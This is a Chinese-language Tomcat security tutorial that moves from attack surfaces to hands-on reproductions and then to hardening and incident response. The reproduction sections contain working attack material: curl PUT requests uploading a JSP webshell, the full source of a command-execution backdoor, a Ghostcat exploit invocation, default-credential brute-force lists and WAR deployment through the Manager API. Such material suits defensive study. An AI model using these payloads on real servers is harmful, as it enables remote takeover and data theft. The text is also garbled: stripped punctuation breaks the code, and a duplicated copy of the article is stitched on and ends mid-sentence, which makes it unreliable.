1. 项目概述为什么我们需要深入理解Tomcat安全在Java Web开发的世界里Tomcat就像我们家里的自来水总阀门。绝大多数Java应用无论是传统的企业级系统还是新兴的微服务最终都要通过这个“阀门”与外界交互。它稳定、开源、生态成熟以至于我们常常在配置好端口、部署完WAR包后就默认它坚不可摧转而将安全重心放在业务逻辑和框架本身上。然而多年的安全攻防实战告诉我这个看似基础的“阀门”一旦出现裂缝往往能成为攻击者直捣黄龙的捷径其破坏力远超一个普通的业务逻辑漏洞。我见过太多案例一个配置不当的Tomcat管理后台让攻击者轻松上传WebShell拿下整个服务器一个未及时修复的已知反序列化漏洞成为内网横向移动的跳板甚至是一些默认开启但无人问津的AJP协议成了攻击者从外围渗透的隐秘通道。这些问题的根源并非Tomcat本身设计有多糟糕而在于我们对其安全机制的理解过于表面化缺乏从攻击者视角审视其每一处细节的能力。因此这篇内容并非一份简单的漏洞列表或修复指南。我的目标是带你进行一次深潜从攻击原理、实战利用手法再到构建前瞻性的纵深防御体系系统性地筑牢Tomcat这道防线。无论你是负责线上业务安全的工程师、进行渗透测试的安全研究员还是希望提升自己系统安全认知的开发者理解这些内容都将让你对“安全”二字有更立体的认识。我们将从Tomcat的架构软肋谈起亲手复现几个经典漏洞最后探讨如何超越“打补丁”的思维构建主动免疫的安全架构。2. Tomcat安全架构核心与常见攻击面剖析要有效防御必须先理解攻击者眼中的Tomcat是什么样子。Tomcat的安全并非铁板一块它由多个层次和组件构成每一层都可能成为突破口。2.1 组件架构与信任边界Tomcat的核心架构可以简化为连接器Connector 容器Container。连接器负责处理网络协议HTTP/1.1, HTTP/2, AJP而容器主要是Engine, Host, Context, Wrapper负责处理请求和执行业务Servlet。安全风险就潜伏在这些组件的交互、配置和默认行为中。连接器层风险这是最外层的攻击面。HTTP Connector暴露在公网直接面对各种畸形请求、协议攻击如HTTP请求走私、慢速攻击。而AJPApache JServ ProtocolConnector设计用于Tomcat与前端的Apache或Nginx等Web服务器通信通常监听在127.0.0.1。但若错误地将其暴露在公网或前端代理配置不当导致AJP端口可被外部访问攻击者就可以利用AJP协议的特性进行更高权限的操作因为AJP协议设计上默认信任前端代理其认证机制比HTTP弱得多。容器层风险这是业务逻辑的承载层。风险主要来自应用部署和管理方式。自动部署autoDeploy为了方便开发Tomcat允许将WAR包直接扔进webapps目录自动解压部署。这在生产环境是极其危险的攻击者如果通过其他漏洞获得了Web目录的写权限就可以上传一个恶意WAR包实现远程代码执行。Context配置context.xml中的crossContext属性如果设置为true允许一个Web应用访问另一个Web应用的ServletContext。这可能在设计不当的多应用共享场景下导致敏感信息泄露或权限跨越。Session管理Tomcat默认的Session实现可能存在的固定会话、会话劫持等问题以及Session持久化到磁盘时可能未加密的风险。管理接口风险这是最高危的区域。Tomcat提供了Host Manager和Manager App两个Web管理应用。Manager App用于动态部署、卸载、启动、停止应用以及诊断。Host Manager用于创建、删除虚拟主机。 这两个应用功能强大但早期版本默认安装且使用弱口令或空口令。即使设置了密码如果认证机制存在缺陷如早期Basic认证的某些问题或管理页面被错误地暴露在公网就等于将服务器的生杀大权拱手让人。2.2 配置缺陷安全的第一道裂缝绝大多数Tomcat安全事件始于配置错误而非零日漏洞。默认凭证与弱口令这是最经典的低级错误。直到今天互联网上仍有大量Tomcat服务器使用tomcat:tomcat、admin:admin等默认或弱密码保护管理后台。自动化扫描工具能在几分钟内发现并利用这些目标。注意不仅仅是管理后台如果应用自身使用了Tomcat的UserDatabaseRealm或JDBCRealm等容器管理认证且用户密码未加密或强度不足同样会导致应用被攻破。目录列表与错误页面信息泄露当请求一个目录如http://example.com/static/且该目录下没有index.jsp或index.html等欢迎文件时如果web.xml中对应servlet的init-param里listings被设置为trueTomcat会返回该目录下的文件列表。这可能会暴露备份文件.bak,.old、配置文件、源代码等敏感信息。此外默认的错误页面往往包含详细的Tomcat版本号、Java版本号、堆栈跟踪信息为攻击者提供了宝贵的情报。不安全的HTTP方法PUT、DELETE、TRACE、OPTIONS等方法如果被不必要地开启可能带来风险。例如PUT方法可能允许攻击者直接上传文件如果对应Servlet处理不当TRACE方法可能用于跨站跟踪XST攻击协助窃取Cookie。AJP Connector不当暴露如前所述AJP协议设计用于内部通信。其数据包是二进制的且默认没有像HTTP那样强的安全过滤。如果server.xml中AJP Connector的address绑定到了0.0.0.0或者防火墙规则失误导致8009端口对外可见攻击者就可以发送精心构造的AJP请求可能绕过前端Web服务器的安全规则直接与Tomcat交互利用已知的AJP漏洞如CVE-2020-1938即“幽灵猫”漏洞进行文件读取或代码执行。3. 经典漏洞原理深挖与实战复现理解了攻击面我们通过几个影响深远、极具代表性的漏洞来具体看看攻击是如何发生的。我强烈建议你在隔离的虚拟机或实验环境中进行复现切勿在生产或任何联网的真实系统上操作。3.1 CVE-2017-12615PUT方法任意文件上传漏洞这个漏洞是配置错误与特性结合产生风险的典型。漏洞原理 在Tomcat的conf/web.xml中默认配置了一个名为default的Servlet其主要作用是处理静态资源。该Servlet支持GET、HEAD、POST、OPTIONS、PUT、DELETE等方法。关键在于如果我们将一个应用Context的readonly初始化参数设置为false那么defaultServlet就会处理PUT请求并将请求体内容写入服务器文件系统。在Tomcat 7.x版本小于7.0.81、8.x版本小于8.5.12中存在一个逻辑缺陷即使你在应用的web.xml中显式地将readonly设置为true在某些特定配置下例如通过conf/context.xml进行全局配置时这个设置可能会被绕过导致readonly实际上为false。攻击者可以利用这一点通过PUT方法直接上传文件。更致命的是当时Tomcat在Windows平台下对文件名后缀的校验存在缺陷。攻击者可以上传如shell.jsp%20、shell.jsp::$DATAWindows NTFS文件流特性或shell.jsp/利用路径解析特性这样的文件名使得Tomcat在写入磁盘时文件实际名为shell.jsp从而成功上传一个JSP WebShell。实战复现步骤环境搭建使用Vulhub或自己搭建一个Tomcat 7.0.79版本的环境。确保其conf/web.xml中defaultServlet的readonly参数为true默认即是。构造攻击请求使用Burp Suite或cURL工具。# 使用cURL发送PUT请求上传一个简单的JSP WebShell curl -X PUT http://target_ip:8080/shell.jsp/ --data-binary webshell.jsp # 或者利用Windows特性 curl -X PUT http://target_ip:8080/shell.jsp::$DATA --data-binary webshell.jsp其中webshell.jsp文件内容可以是一个最简单的JSP后门% page importjava.util.*,java.io.*% % String cmd request.getParameter(cmd); if (cmd ! null) { Process p Runtime.getRuntime().exec(cmd); OutputStream os p.getOutputStream(); InputStream in p.getInputStream(); DataInputStream dis new DataInputStream(in); String disr dis.readLine(); while ( disr ! null ) { out.println(disr); disr dis.readLine(); } } %访问WebShell如果上传成功访问http://target_ip:8080/shell.jsp?cmdwhoami即可执行系统命令。修复与思考 官方修复方案是严格化了readonly参数的校验逻辑并加强了对文件后缀的过滤。给我们的教训是永远不要在生产环境开启不必要的HTTP方法PUT/DELETE。应在web.xml中显式禁用它们或在前端Web服务器如Nginx层面进行拦截。同时对用户上传的文件必须进行重命名如使用UUID并放置在无法直接通过Web访问的目录由后端程序控制访问。3.2 CVE-2020-1938AJP协议文件包含/读取漏洞幽灵猫这个漏洞展示了内部协议暴露带来的巨大危害。漏洞原理 AJP协议是Tomcat与前端HTTP服务器如Apache HTTPD通信的二进制协议效率高于HTTP。Tomcat默认在8009端口监听AJP连接。该协议中有一个重要的请求属性javax.servlet.include.request_uri、javax.servlet.include.path_info等用于实现服务器端包含SSI或转发Forward功能。漏洞存在于Tomcat的AJP Connector处理代码中。攻击者可以构造一个恶意的AJP请求通过设置上述属性让Tomcat误以为该请求是来自前端的、对一个已存在资源的“包含”请求。由于AJP协议设计上的信任关系默认认为前端服务器是可信的Tomcat在处理这种“包含”请求时没有充分校验请求的目标文件是否在Web应用允许的范围内。这导致攻击者可以通过发送特制的AJP请求读取Web应用目录之外的任意文件例如/WEB-INF/web.xml获取数据库连接池配置、安全约束等敏感信息。/../../../../etc/passwd读取服务器系统文件。在特定条件下如果目标文件内容可控如可上传部分内容结合某些应用特性甚至可能实现远程代码执行。实战复现步骤环境搭建使用Tomcat 9.0.30或以下版本确保AJP Connector在server.xml中启用默认是启用的监听8009端口。使用利用工具由于AJP是二进制协议手动构造数据包较复杂通常使用现成的漏洞利用脚本如ghostcat.pyCNVD-2020-10487。# 使用Python PoC脚本进行文件读取 python3 ghostcat.py target_ip -p 8009 -f /WEB-INF/web.xml观察结果脚本会通过AJP协议向目标发送恶意请求并将返回的web.xml文件内容打印出来其中可能包含数据库密码等敏感信息。修复与思考 官方修复了AJP Connector中对请求属性的校验逻辑防止了路径穿越。根本的防御策略是除非绝对必要否则禁用AJP Connector。在server.xml中注释掉或删除Connector port8009 protocolAJP/1.3 ... /这一行。如果必须使用例如与Apache HTTPD集成务必将其address属性设置为127.0.0.1并通过防火墙严格限制只允许可信的前端服务器IP访问该端口。3.3 后台弱口令与War包部署Getshell这并非一个特定的CVE而是一种极其常见且有效的攻击方式是管理界面暴露和弱口令结合的必然结果。攻击原理 Tomcat的Manager应用提供了通过HTTP API部署WAR包的功能。其API路径通常为/manager/html/upload或通过/manager/text/deploy?path...等指令。只要攻击者能够通过Manager应用的认证通常为BASIC认证就可以上传一个包含恶意JSP的WAR压缩包Tomcat会自动将其解压部署攻击者随即获得一个WebShell。实战复现步骤信息收集通过扫描发现开放了8080端口且存在/manager/html或/manager路径。暴力破解/默认口令尝试使用Hydra、Burp Intruder等工具对管理登录接口进行爆破。常见用户名密码组合包括tomcat:tomcat,admin:admin,both:tomcat,role1:tomcat,root:root等。很多时候管理员甚至未修改默认空密码。制作恶意WAR包# 1. 创建一个包含JSP WebShell的目录结构 mkdir -p shell/WEB-INF # 2. 创建最简单的web.xml必须 echo ?xml version1.0 encodingUTF-8? web-app xmlnshttp://xmlns.jcp.org/xml/ns/javaee xmlns:xsihttp://www.w3.org/2001/XMLSchema-instance xsi:schemaLocationhttp://xmlns.jcp.org/xml/ns/javaee http://xmlns.jcp.org/xml/ns/javaee/web-app_3_1.xsd version3.1 /web-app shell/WEB-INF/web.xml # 3. 创建JSP WebShell文件例如cmd.jsp内容同上例 cp webshell.jsp shell/cmd.jsp # 4. 打包成WAR jar -cvf shell.war -C shell/ .利用Manager API上传通过HTML表单登录/manager/html后页面有上传WAR文件的部分直接上传即可。通过HTTP API命令行curl -u tomcat:tomcat -X PUT --upload-file shell.war http://target_ip:8080/manager/text/deploy?path/shell成功会返回OK - Deployed application at context path /shell。访问WebShell访问http://target_ip:8080/shell/cmd.jsp?cmdid执行命令。修复与思考强密码与锁定策略为Manager应用设置复杂、唯一的密码并考虑集成LDAP或数据库认证。可以配置server.xml中的LockOutRealm来防止暴力破解。访问控制通过server.xml中的RemoteAddrValve将Manager应用的访问源IP限制为运维网络或跳板机IP。Context privilegedtrue docBase${catalina.home}/webapps/manager Valve classNameorg.apache.catalina.valves.RemoteAddrValve allow192.168.1.0/24 / /Context禁用或移除生产环境中如果不需要动态部署功能最安全的方式是直接删除webapps/manager和webapps/host-manager目录并从conf/Catalina/localhost/下删除对应的XML文件。4. 构建前瞻性纵深防御体系亡羊补牢不如未雨绸缪。针对Tomcat的安全绝不能停留在漏洞出现后打补丁的层面而应构建一个从网络到应用、从配置到监控的纵深防御体系。4.1 安全加固配置清单以下是一份生产环境Tomcat安全配置的核心清单你可以将其作为上线前的Checklist身份与访问管理删除默认应用移除webapps下的docs,examples,manager,host-manager除非业务明确需要。强化Manager认证修改conf/tomcat-users.xml使用强密码并仅授予最小必要权限如只有manager-gui和manager-script角色。禁用不必要协议在server.xml中注释掉或删除AJP Connector!-- Connector port8009 protocolAJP/1.3 ... / --。如果必须使用绑定address127.0.0.1。使用安全领域Realm考虑使用JDBCRealm或JNDIRealm连接企业用户数据库替代简单的UserDatabaseRealm。请求处理与输出加固禁用PUT/DELETE等方法在应用的web.xml或全局web.xml中配置security-constraint web-resource-collection web-resource-nameRestricted Methods/web-resource-name url-pattern/*/url-pattern http-methodPUT/http-method http-methodDELETE/http-method http-methodTRACE/http-method http-methodOPTIONS/http-method /web-resource-collection auth-constraint / /security-constraint关闭目录列表确保所有servlet特别是defaultServlet的init-param中listings为false。自定义错误页面在web.xml中配置自定义的错误页面避免泄露服务器信息。error-page error-code500/error-code location/error/500.html/location /error-page error-page exception-typejava.lang.Throwable/exception-type location/error/general.html/location /error-page设置安全HTTP头通过server.xml的Valve或前端Nginx/Apache添加安全头如X-Frame-Options: DENY(防点击劫持)X-Content-Type-Options: nosniff(防MIME类型混淆)Content-Security-Policy: default-src self(内容安全策略)运行环境与权限隔离使用非root用户运行绝对不要以root身份运行Tomcat。创建一个专用的、低权限的系统用户如tomcat并将Tomcat目录的所有权赋予该用户。useradd -r -m -d /opt/tomcat -s /bin/false tomcat chown -R tomcat:tomcat /opt/tomcat sudo -u tomcat /opt/tomcat/bin/startup.sh文件系统权限严格限制Tomcat用户对conf,webapps,logs,work,temp等目录的读写权限。特别是webapps目录Tomcat用户应有读和执行权限但不应有不必要的写权限除非动态部署。JVM安全参数在catalina.sh或setenv.sh中设置JVM参数限制危险操作export JAVA_OPTS$JAVA_OPTS -Djava.security.manager -Djava.security.policy$CATALINA_BASE/conf/catalina.policy # 禁用不安全的反射操作 export JAVA_OPTS$JAVA_OPTS --illegal-accessdeny注意启用Security Manager需要仔细配置策略文件可能会影响应用正常运行需充分测试。4.2 安全监控与应急响应加固是静态的监控是动态的。再好的配置也可能因未知漏洞或人为失误被突破。日志审计Tomcat的日志是安全调查的黄金数据源。访问日志确保在server.xml中启用了AccessLogValve并记录完整的请求信息时间、源IP、方法、URL、状态码、响应大小、User-Agent、Referer。定期分析异常访问模式如大量404错误扫描器、特定漏洞利用路径的访问、来自异常地理位置的登录尝试等。应用日志集成Log4j2或SLF4J确保应用自身将关键操作登录、敏感数据访问、异常请求记录到日志中并与访问日志关联。集中化日志使用ELKElasticsearch, Logstash, Kibana或Graylog等工具将Tomcat日志集中收集、索引和分析便于快速检索和告警。文件完整性监控监控webapps目录下文件的任何变更新增、修改、删除。可以使用AIDE、Tripwire等工具或利用操作系统的inotify机制编写脚本一旦检测到未授权的WAR包部署或JSP文件修改立即告警。进程与网络监控监控Tomcat进程的CPU、内存异常波动。监控Tomcat监听端口8080, 8009等的异常连接特别是来自非信任IP对AJP端口的连接尝试。应急响应预案隔离一旦发现入侵立即将受影响的服务器从网络隔离修改防火墙规则或关闭端口。取证备份完整的日志文件、被篡改的Web文件、内存镜像如果可能以及work/Catalina目录下的编译后的Servlet class文件。清除与恢复从备份中恢复干净的Web应用和配置文件。彻底检查系统是否存在后门账户、定时任务、SSH密钥等持久化手段。根因分析根据日志和文件变更记录分析攻击入口点是弱口令、未修复漏洞还是供应链攻击并针对性加固。4.3 进阶安全实践从容器到编排随着云原生和容器化技术的普及Tomcat的运行环境也发生了变化安全思路需要随之升级。使用安全的基础镜像如果使用Docker应从官方或可信源获取Tomcat镜像并定期更新。避免使用包含多余工具如curl,wget,netcat的“肥镜像”遵循最小化原则。容器运行时安全非root用户运行在Dockerfile中使用USER tomcat指令确保容器内进程不以root运行。只读文件系统将除了需要写入的目录如logs,temp,work外其他目录如webapps,conf以只读模式挂载。FROM tomcat:9-jre11 USER tomcat # ... 你的定制步骤 ... # 在运行命令中将webapps和conf挂载为只读卷具体挂载在运行时可指定限制容器能力运行容器时使用--cap-dropALL移除所有Linux Capabilities然后按需添加极少数必需的如CHOWN,SETGID等。这能极大限制攻击者即便突破应用后在容器内进行提权或破坏宿主机的可能性。在Kubernetes中的安全SecurityContext在Pod定义中设置securityContext指定runAsNonRoot: true和runAsUser。Pod安全策略/PSA使用Pod Security Admission (PSA) 或旧的PodSecurityPolicy (PSP)强制要求Pod以非特权模式运行、禁止特权升级、使用只读根文件系统等。网络策略使用NetworkPolicy严格限制Tomcat Pod的网络通信例如只允许来自Ingress Controller或特定微服务的流量访问8080端口完全禁止对8009AJP端口的访问。供应链安全你的WAR包本身是否安全引入的第三方Jar包是否有已知漏洞应使用OWASP Dependency-Check、Sonatype Nexus IQ或Snyk等工具在CI/CD流水线中持续扫描依赖项避免将含有漏洞的组件部署上线。5. 常见问题排查与实战技巧在实际运维和应急响应中总会遇到一些棘手的情况。这里分享几个我踩过的坑和总结的技巧。5.1 性能骤降与可疑连接排查场景服务器监控显示Tomcat线程池满响应时间飙升但业务量并未增长。排查思路检查当前连接使用netstat或ss命令查看连接到Tomcat端口的IP和状态。重点关注ESTABLISHED状态且来自异常IP或大量来自同一IP的连接。ss -antp | grep :8080 | head -20分析线程堆栈使用jstack工具获取Tomcat进程的线程堆栈。# 找到Tomcat的Java进程PID jps -l | grep org.apache.catalina.startup.Bootstrap # 生成线程dump jstack PID thread_dump.log在thread_dump.log中搜索http-nio-8080-exec-这样的线程看它们卡在哪个方法调用上。如果大量线程卡在某个数据库查询或外部API调用上可能是下游依赖出了问题。如果卡在Socket.read()则可能是慢速攻击Slowloris——攻击者保持大量半开连接耗尽线程池。检查访问日志快速分析最近几分钟的访问日志catalina.out或localhost_access_log寻找规律异常的请求如非常长的URL、畸形的Header、或者来自少量IP的极高频率请求。临时应对如果怀疑是DDoS或CC攻击可以立即在服务器防火墙或前端负载均衡器上对可疑IP段进行临时封禁。同时考虑调整Tomcat的server.xml配置maxThreads适当增加但不要超过系统负载能力。connectionTimeout降低超时时间如从20000毫秒降到5000毫秒让恶意连接更快释放。acceptCount等待队列长度在流量洪峰时起到缓冲作用。5.2 内存泄漏与OOM故障定位场景Tomcat频繁崩溃日志中出现java.lang.OutOfMemoryError: Java heap space或PermGen spaceJava 8之前。排查思路确认错误类型Heap Space不足通常是业务代码创建了大量未释放的对象PermGen/Metaspace不足可能是动态加载了过多类如频繁热部署、大量使用反射、CGLib等。启用GC日志与分析在JVM参数中添加GC日志记录这是分析内存问题的关键。export JAVA_OPTS$JAVA_OPTS -XX:PrintGCDetails -XX:PrintGCDateStamps -XX:PrintGCTimeStamps -Xloggc:/opt/tomcat/logs/gc.log使用工具如GCViewer, GCEasy分析GC日志观察内存使用趋势、Full GC频率和耗时。如果老年代Old Generation使用率持续增长且Full GC后回收很少基本可以断定存在内存泄漏。生成与分析Heap Dump在OOM发生时自动生成堆转储文件。export JAVA_OPTS$JAVA_OPTS -XX:HeapDumpOnOutOfMemoryError -XX:HeapDumpPath/opt/tomcat/logs/heapdump.hprof使用MATEclipse Memory Analyzer或JVisualVM打开heapdump.hprof文件。MAT的“Leak Suspects Report”功能非常强大能直接指出可能泄漏的对象和引用链。通常问题集中在某个特定的业务对象、缓存如未设置大小限制的Map或第三方库如某些连接池未正确关闭。类加载器泄漏排查对于PermGen/Metaspace OOM重启是临时解决根治需要找到类加载器未释放的原因。常见于使用了ThreadLocal且未清理其中引用了自定义类加载器加载的类。框架如OSGi, JRebel或某些第三方库存在Bug。频繁的热部署操作。排查时可以使用jmap -clstats PID查看类加载器统计信息。5.3 日志中惊现漏洞利用Payload怎么办场景在访问日志或入侵检测系统IDS日志中发现了类似/manager/html的登录尝试、PUT /shell.jsp的上传请求或包含../的路径遍历特征。应急步骤不要惊慌立即确认首先确认这些请求是否成功查看对应时间点的响应状态码。如果是200或201说明可能已经失陷如果是403、404可能只是扫描尝试。隔离与取证如果怀疑已入侵立即按4.2节的预案进行隔离和取证。切勿直接删除可疑文件或重启服务这会破坏现场让后续溯源变得困难。回溯攻击链以日志中的攻击时间为起点向前后扩展时间范围全面搜索该源IP的所有请求记录。攻击者往往不会只尝试一次他们可能进行了信息收集扫描目录、漏洞利用、上传后门、横向移动等多个步骤。尝试拼凑出完整的攻击路径。检查文件系统根据Payload中提到的文件路径如/shell.jsp在服务器上查找该文件并检查其创建时间、内容。同时使用find命令查找最近一段时间内被修改过的所有JSP、WAR、XML文件。find /opt/tomcat/webapps -name *.jsp -mtime -1 # 查找一天内修改的jsp find /opt/tomcat -name *.war -mtime -1检查进程与网络使用ps auxf、netstat -antp、lsof -i等命令查看是否有异常进程、异常外连特别是到未知IP或端口的连接。加固与修复根据攻击入口点实施对应的加固措施修改密码、修复配置、升级版本、打补丁。在所有相关工作完成后再从备份恢复或清理受污染的文件。安全是一个持续的过程而非一劳永逸的状态。对Tomcat安全的守护需要我们将安全思维融入架构设计、配置管理、持续集成和日常运维的每一个环节。从理解每一个配置参数的安全含义开始到建立完善的监控告警再到形成条件反射般的应急响应流程这条路没有终点。但每深入一步你的系统就比昨天更坚固一分。
Tomcat安全深度解析:从漏洞原理到纵深防御实战
发布时间:2026/6/23 10:46:29
1. 项目概述为什么我们需要深入理解Tomcat安全在Java Web开发的世界里Tomcat就像我们家里的自来水总阀门。绝大多数Java应用无论是传统的企业级系统还是新兴的微服务最终都要通过这个“阀门”与外界交互。它稳定、开源、生态成熟以至于我们常常在配置好端口、部署完WAR包后就默认它坚不可摧转而将安全重心放在业务逻辑和框架本身上。然而多年的安全攻防实战告诉我这个看似基础的“阀门”一旦出现裂缝往往能成为攻击者直捣黄龙的捷径其破坏力远超一个普通的业务逻辑漏洞。我见过太多案例一个配置不当的Tomcat管理后台让攻击者轻松上传WebShell拿下整个服务器一个未及时修复的已知反序列化漏洞成为内网横向移动的跳板甚至是一些默认开启但无人问津的AJP协议成了攻击者从外围渗透的隐秘通道。这些问题的根源并非Tomcat本身设计有多糟糕而在于我们对其安全机制的理解过于表面化缺乏从攻击者视角审视其每一处细节的能力。因此这篇内容并非一份简单的漏洞列表或修复指南。我的目标是带你进行一次深潜从攻击原理、实战利用手法再到构建前瞻性的纵深防御体系系统性地筑牢Tomcat这道防线。无论你是负责线上业务安全的工程师、进行渗透测试的安全研究员还是希望提升自己系统安全认知的开发者理解这些内容都将让你对“安全”二字有更立体的认识。我们将从Tomcat的架构软肋谈起亲手复现几个经典漏洞最后探讨如何超越“打补丁”的思维构建主动免疫的安全架构。2. Tomcat安全架构核心与常见攻击面剖析要有效防御必须先理解攻击者眼中的Tomcat是什么样子。Tomcat的安全并非铁板一块它由多个层次和组件构成每一层都可能成为突破口。2.1 组件架构与信任边界Tomcat的核心架构可以简化为连接器Connector 容器Container。连接器负责处理网络协议HTTP/1.1, HTTP/2, AJP而容器主要是Engine, Host, Context, Wrapper负责处理请求和执行业务Servlet。安全风险就潜伏在这些组件的交互、配置和默认行为中。连接器层风险这是最外层的攻击面。HTTP Connector暴露在公网直接面对各种畸形请求、协议攻击如HTTP请求走私、慢速攻击。而AJPApache JServ ProtocolConnector设计用于Tomcat与前端的Apache或Nginx等Web服务器通信通常监听在127.0.0.1。但若错误地将其暴露在公网或前端代理配置不当导致AJP端口可被外部访问攻击者就可以利用AJP协议的特性进行更高权限的操作因为AJP协议设计上默认信任前端代理其认证机制比HTTP弱得多。容器层风险这是业务逻辑的承载层。风险主要来自应用部署和管理方式。自动部署autoDeploy为了方便开发Tomcat允许将WAR包直接扔进webapps目录自动解压部署。这在生产环境是极其危险的攻击者如果通过其他漏洞获得了Web目录的写权限就可以上传一个恶意WAR包实现远程代码执行。Context配置context.xml中的crossContext属性如果设置为true允许一个Web应用访问另一个Web应用的ServletContext。这可能在设计不当的多应用共享场景下导致敏感信息泄露或权限跨越。Session管理Tomcat默认的Session实现可能存在的固定会话、会话劫持等问题以及Session持久化到磁盘时可能未加密的风险。管理接口风险这是最高危的区域。Tomcat提供了Host Manager和Manager App两个Web管理应用。Manager App用于动态部署、卸载、启动、停止应用以及诊断。Host Manager用于创建、删除虚拟主机。 这两个应用功能强大但早期版本默认安装且使用弱口令或空口令。即使设置了密码如果认证机制存在缺陷如早期Basic认证的某些问题或管理页面被错误地暴露在公网就等于将服务器的生杀大权拱手让人。2.2 配置缺陷安全的第一道裂缝绝大多数Tomcat安全事件始于配置错误而非零日漏洞。默认凭证与弱口令这是最经典的低级错误。直到今天互联网上仍有大量Tomcat服务器使用tomcat:tomcat、admin:admin等默认或弱密码保护管理后台。自动化扫描工具能在几分钟内发现并利用这些目标。注意不仅仅是管理后台如果应用自身使用了Tomcat的UserDatabaseRealm或JDBCRealm等容器管理认证且用户密码未加密或强度不足同样会导致应用被攻破。目录列表与错误页面信息泄露当请求一个目录如http://example.com/static/且该目录下没有index.jsp或index.html等欢迎文件时如果web.xml中对应servlet的init-param里listings被设置为trueTomcat会返回该目录下的文件列表。这可能会暴露备份文件.bak,.old、配置文件、源代码等敏感信息。此外默认的错误页面往往包含详细的Tomcat版本号、Java版本号、堆栈跟踪信息为攻击者提供了宝贵的情报。不安全的HTTP方法PUT、DELETE、TRACE、OPTIONS等方法如果被不必要地开启可能带来风险。例如PUT方法可能允许攻击者直接上传文件如果对应Servlet处理不当TRACE方法可能用于跨站跟踪XST攻击协助窃取Cookie。AJP Connector不当暴露如前所述AJP协议设计用于内部通信。其数据包是二进制的且默认没有像HTTP那样强的安全过滤。如果server.xml中AJP Connector的address绑定到了0.0.0.0或者防火墙规则失误导致8009端口对外可见攻击者就可以发送精心构造的AJP请求可能绕过前端Web服务器的安全规则直接与Tomcat交互利用已知的AJP漏洞如CVE-2020-1938即“幽灵猫”漏洞进行文件读取或代码执行。3. 经典漏洞原理深挖与实战复现理解了攻击面我们通过几个影响深远、极具代表性的漏洞来具体看看攻击是如何发生的。我强烈建议你在隔离的虚拟机或实验环境中进行复现切勿在生产或任何联网的真实系统上操作。3.1 CVE-2017-12615PUT方法任意文件上传漏洞这个漏洞是配置错误与特性结合产生风险的典型。漏洞原理 在Tomcat的conf/web.xml中默认配置了一个名为default的Servlet其主要作用是处理静态资源。该Servlet支持GET、HEAD、POST、OPTIONS、PUT、DELETE等方法。关键在于如果我们将一个应用Context的readonly初始化参数设置为false那么defaultServlet就会处理PUT请求并将请求体内容写入服务器文件系统。在Tomcat 7.x版本小于7.0.81、8.x版本小于8.5.12中存在一个逻辑缺陷即使你在应用的web.xml中显式地将readonly设置为true在某些特定配置下例如通过conf/context.xml进行全局配置时这个设置可能会被绕过导致readonly实际上为false。攻击者可以利用这一点通过PUT方法直接上传文件。更致命的是当时Tomcat在Windows平台下对文件名后缀的校验存在缺陷。攻击者可以上传如shell.jsp%20、shell.jsp::$DATAWindows NTFS文件流特性或shell.jsp/利用路径解析特性这样的文件名使得Tomcat在写入磁盘时文件实际名为shell.jsp从而成功上传一个JSP WebShell。实战复现步骤环境搭建使用Vulhub或自己搭建一个Tomcat 7.0.79版本的环境。确保其conf/web.xml中defaultServlet的readonly参数为true默认即是。构造攻击请求使用Burp Suite或cURL工具。# 使用cURL发送PUT请求上传一个简单的JSP WebShell curl -X PUT http://target_ip:8080/shell.jsp/ --data-binary webshell.jsp # 或者利用Windows特性 curl -X PUT http://target_ip:8080/shell.jsp::$DATA --data-binary webshell.jsp其中webshell.jsp文件内容可以是一个最简单的JSP后门% page importjava.util.*,java.io.*% % String cmd request.getParameter(cmd); if (cmd ! null) { Process p Runtime.getRuntime().exec(cmd); OutputStream os p.getOutputStream(); InputStream in p.getInputStream(); DataInputStream dis new DataInputStream(in); String disr dis.readLine(); while ( disr ! null ) { out.println(disr); disr dis.readLine(); } } %访问WebShell如果上传成功访问http://target_ip:8080/shell.jsp?cmdwhoami即可执行系统命令。修复与思考 官方修复方案是严格化了readonly参数的校验逻辑并加强了对文件后缀的过滤。给我们的教训是永远不要在生产环境开启不必要的HTTP方法PUT/DELETE。应在web.xml中显式禁用它们或在前端Web服务器如Nginx层面进行拦截。同时对用户上传的文件必须进行重命名如使用UUID并放置在无法直接通过Web访问的目录由后端程序控制访问。3.2 CVE-2020-1938AJP协议文件包含/读取漏洞幽灵猫这个漏洞展示了内部协议暴露带来的巨大危害。漏洞原理 AJP协议是Tomcat与前端HTTP服务器如Apache HTTPD通信的二进制协议效率高于HTTP。Tomcat默认在8009端口监听AJP连接。该协议中有一个重要的请求属性javax.servlet.include.request_uri、javax.servlet.include.path_info等用于实现服务器端包含SSI或转发Forward功能。漏洞存在于Tomcat的AJP Connector处理代码中。攻击者可以构造一个恶意的AJP请求通过设置上述属性让Tomcat误以为该请求是来自前端的、对一个已存在资源的“包含”请求。由于AJP协议设计上的信任关系默认认为前端服务器是可信的Tomcat在处理这种“包含”请求时没有充分校验请求的目标文件是否在Web应用允许的范围内。这导致攻击者可以通过发送特制的AJP请求读取Web应用目录之外的任意文件例如/WEB-INF/web.xml获取数据库连接池配置、安全约束等敏感信息。/../../../../etc/passwd读取服务器系统文件。在特定条件下如果目标文件内容可控如可上传部分内容结合某些应用特性甚至可能实现远程代码执行。实战复现步骤环境搭建使用Tomcat 9.0.30或以下版本确保AJP Connector在server.xml中启用默认是启用的监听8009端口。使用利用工具由于AJP是二进制协议手动构造数据包较复杂通常使用现成的漏洞利用脚本如ghostcat.pyCNVD-2020-10487。# 使用Python PoC脚本进行文件读取 python3 ghostcat.py target_ip -p 8009 -f /WEB-INF/web.xml观察结果脚本会通过AJP协议向目标发送恶意请求并将返回的web.xml文件内容打印出来其中可能包含数据库密码等敏感信息。修复与思考 官方修复了AJP Connector中对请求属性的校验逻辑防止了路径穿越。根本的防御策略是除非绝对必要否则禁用AJP Connector。在server.xml中注释掉或删除Connector port8009 protocolAJP/1.3 ... /这一行。如果必须使用例如与Apache HTTPD集成务必将其address属性设置为127.0.0.1并通过防火墙严格限制只允许可信的前端服务器IP访问该端口。3.3 后台弱口令与War包部署Getshell这并非一个特定的CVE而是一种极其常见且有效的攻击方式是管理界面暴露和弱口令结合的必然结果。攻击原理 Tomcat的Manager应用提供了通过HTTP API部署WAR包的功能。其API路径通常为/manager/html/upload或通过/manager/text/deploy?path...等指令。只要攻击者能够通过Manager应用的认证通常为BASIC认证就可以上传一个包含恶意JSP的WAR压缩包Tomcat会自动将其解压部署攻击者随即获得一个WebShell。实战复现步骤信息收集通过扫描发现开放了8080端口且存在/manager/html或/manager路径。暴力破解/默认口令尝试使用Hydra、Burp 